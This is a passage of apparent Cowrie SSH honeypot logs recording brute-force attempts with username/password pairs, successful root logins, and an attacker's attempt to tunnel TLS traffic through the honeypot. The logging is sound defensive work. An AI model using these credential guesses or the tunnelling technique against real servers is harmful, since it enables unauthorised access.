h.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:57:01.829068Z","src_ip":"35.240.75.51","session":"e10c4120d48c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:57:02.377799Z","src_ip":"35.240.75.51","session":"e10c4120d48c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:57:02.572467Z","src_ip":"35.240.75.51","session":"ed21ce4eaf73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:57:02.577049Z","src_ip":"35.240.75.51","session":"e10c4120d48c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.210.249.152","src_port":63582,"dst_ip":"10.17.0.5","dst_port":22,"session":"7dad4d62a788","protocol":"ssh","message":"New connection: 172.210.249.152:63582 (10.17.0.5:22) [session: 7dad4d62a788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:57:26.947359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:57:26.951967Z","src_ip":"172.210.249.152","session":"7dad4d62a788","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:57:26.966494Z","src_ip":"172.210.249.152","session":"7dad4d62a788","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bbb","password":"bbb123!","message":"login attempt [bbb/bbb123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:57:27.055674Z","src_ip":"172.210.249.152","session":"7dad4d62a788","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:57:28.072363Z","src_ip":"172.210.249.152","session":"7dad4d62a788","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"218.0.63.25","src_port":44406,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc57691d0a5a","protocol":"ssh","message":"New connection: 218.0.63.25:44406 (10.17.0.5:22) [session: bc57691d0a5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:57:43.219726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:57:43.224324Z","src_ip":"218.0.63.25","session":"bc57691d0a5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:57:43.455411Z","src_ip":"218.0.63.25","session":"bc57691d0a5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"syj","password":"syjpass","message":"login attempt [syj/syjpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:57:44.694321Z","src_ip":"218.0.63.25","session":"bc57691d0a5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:57:45.936062Z","src_ip":"218.0.63.25","session":"bc57691d0a5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.183.250.100","src_port":44484,"dst_ip":"10.17.0.5","dst_port":22,"session":"20f17f3de2b0","protocol":"ssh","message":"New connection: 51.183.250.100:44484 (10.17.0.5:22) [session: 20f17f3de2b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:57:58.492711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:57:58.498484Z","src_ip":"51.183.250.100","session":"20f17f3de2b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:57:58.588451Z","src_ip":"51.183.250.100","session":"20f17f3de2b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"django","password":"django123","message":"login attempt [django/django123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:57:58.969413Z","src_ip":"51.183.250.100","session":"20f17f3de2b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:00.061521Z","src_ip":"51.183.250.100","session":"20f17f3de2b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.92.202","src_port":48566,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc94eceed9e4","protocol":"ssh","message":"New connection: 103.82.92.202:48566 (10.17.0.5:22) [session: bc94eceed9e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:02.851514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:02.856184Z","src_ip":"103.82.92.202","session":"bc94eceed9e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:03.101030Z","src_ip":"103.82.92.202","session":"bc94eceed9e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"manoj","password":"12345678","message":"login attempt [manoj/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:04.112239Z","src_ip":"103.82.92.202","session":"bc94eceed9e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:05.358756Z","src_ip":"103.82.92.202","session":"bc94eceed9e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.95.118","src_port":51092,"dst_ip":"159.203.135.109","dst_port":22,"session":"b572ffead38b","protocol":"ssh","message":"New connection: 80.94.95.118:51092 (159.203.135.109:22) [session: b572ffead38b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:07.278993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:07.282183Z","src_ip":"80.94.95.118","session":"b572ffead38b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:07.381938Z","src_ip":"80.94.95.118","session":"b572ffead38b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"root123","message":"login attempt [root/root123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:07.884397Z","src_ip":"80.94.95.118","session":"b572ffead38b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"54.228.15.104","dst_port":443,"src_ip":"80.94.95.118","src_port":33518,"message":"direct-tcp connection request to 54.228.15.104:443 from 127.0.0.1:33518","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:14.350261Z","session":"b572ffead38b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"54.228.15.104","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 54.228.15.104:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:20.095194Z","src_ip":"80.94.95.118","session":"b572ffead38b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"54.228.15.104","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf8\\xfe\\x12_\\x08\\x8a\\xe6=]*@q\\xdfa\\x1fn\\x8d\\xb4\\x88X\\xc7\\xb0S\\x99\\xfe\\x9c\\xd1\\xd9\\xabbL\\xff \\xe24\\xe4\\xd10\\x136o\\xa8{j\\x9e\\xc1\\xf5#\\xdf\\xa0l\\xfe\\xc10\\xb3*\\xa3[#\\x90\\x90/\\x85i\\xe2\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xdfa\\xd7,AH\\x9d\\x1f.\\xcc\\xc7\\xf3\\x9f\\xa2\\x074\\x1c\\xe6\\xd2F\\x94\\xb7\\xae\\xb6\\xe4\\xadY\\xa5\\xe4W\\xa9\\x0f\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 54.228.15.104:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf8\\xfe\\x12_\\x08\\x8a\\xe6=]*@q\\xdfa\\x1fn\\x8d\\xb4\\x88X\\xc7\\xb0S\\x99\\xfe\\x9c\\xd1\\xd9\\xabbL\\xff \\xe24\\xe4\\xd10\\x136o\\xa8{j\\x9e\\xc1\\xf5#\\xdf\\xa0l\\xfe\\xc10\\xb3*\\xa3[#\\x90\\x90/\\x85i\\xe2\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xdfa\\xd7,AH\\x9d\\x1f.\\xcc\\xc7\\xf3\\x9f\\xa2\\x074\\x1c\\xe6\\xd2F\\x94\\xb7\\xae\\xb6\\xe4\\xadY\\xa5\\xe4W\\xa9\\x0f\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:20.098519Z","src_ip":"80.94.95.118","session":"b572ffead38b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.3","src_port":40146,"dst_ip":"10.17.0.5","dst_port":22,"session":"5325f2b0d239","protocol":"ssh","message":"New connection: 118.193.33.3:40146 (10.17.0.5:22) [session: 5325f2b0d239]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:24.043096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:58:24.047337Z","src_ip":"118.193.33.3","session":"5325f2b0d239","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 